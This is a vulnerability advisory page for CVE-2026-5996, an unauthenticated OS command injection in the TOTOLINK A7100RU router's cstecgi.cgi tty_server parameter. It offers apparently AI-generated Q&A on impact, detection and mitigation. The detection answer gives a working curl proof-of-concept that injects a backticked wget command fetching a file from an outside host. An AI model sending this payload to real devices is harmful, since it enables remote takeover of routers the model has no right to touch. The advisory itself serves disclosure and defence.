CVE-2026-5996
OS Command Injection in Totolink A7100RU CGI Handler Allows Remote Exploit
Publication date: 2026-04-10
Last updated on: 2026-04-10
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| totolink | a7100ru | 7.4cu.2313_b20191024 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-5996 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI script /cgi-bin/cstecgi.cgi, specifically in the function that processes the "tty_server" parameter.
An attacker can send a specially crafted POST request with malicious commands embedded in the "tty_server" parameter. This input is passed through functions that eventually execute it on the router's operating system, allowing arbitrary OS command execution remotely.
For example, an attacker could inject a command like "wget 192.168.6.1:7777/testpoc" which the router would execute, demonstrating the ability to run arbitrary commands on the device.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The CVE-2026-5996 vulnerability allows remote OS command injection on the TOTOLINK A7100RU router, which can lead to unauthorized control over the device. Such a compromise can result in unauthorized access to sensitive data, disruption of services, and potential data breaches.
This type of vulnerability can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches. Exploitation of this vulnerability could lead to violations of data confidentiality, integrity, and availability requirements mandated by these regulations.
How can this vulnerability impact me? :
This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without authentication.
The impact includes potential full compromise of the router, enabling attackers to control network traffic, intercept or manipulate data, install malware, or use the device as a foothold for further attacks within the network.
Because the exploit can be triggered remotely and without user interaction, it poses a high risk to network security and device integrity.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by monitoring for suspicious POST requests sent to the endpoint /cgi-bin/cstecgi.cgi with the parameter tty_server containing unusual or malicious command strings.
A practical detection method is to capture and analyze network traffic for POST requests targeting /cgi-bin/cstecgi.cgi and inspect the tty_server parameter for command injection patterns.
For example, you can use the following command with curl to test if the router is vulnerable by sending a crafted POST request:
- curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d 'tty_server=`wget 192.168.6.1:7777/testpoc`'
Additionally, network intrusion detection systems (NIDS) can be configured to alert on POST requests containing suspicious payloads in the tty_server parameter.
What immediate steps should I take to mitigate this vulnerability?
To mitigate the CVE-2026-5996 vulnerability in the Totolink A7100RU router, immediate steps include restricting remote access to the affected CGI interface to prevent attackers from sending malicious POST requests.
Additionally, monitoring network traffic for suspicious POST requests targeting /cgi-bin/cstecgi.cgi with the tty_server parameter can help detect exploitation attempts.
If possible, applying any available firmware updates or patches from the vendor that address this command injection vulnerability is strongly recommended.
As a temporary measure, disabling or restricting the CGI Handler component or the vulnerable function setAdvancedInfoShow may reduce risk until a patch is applied.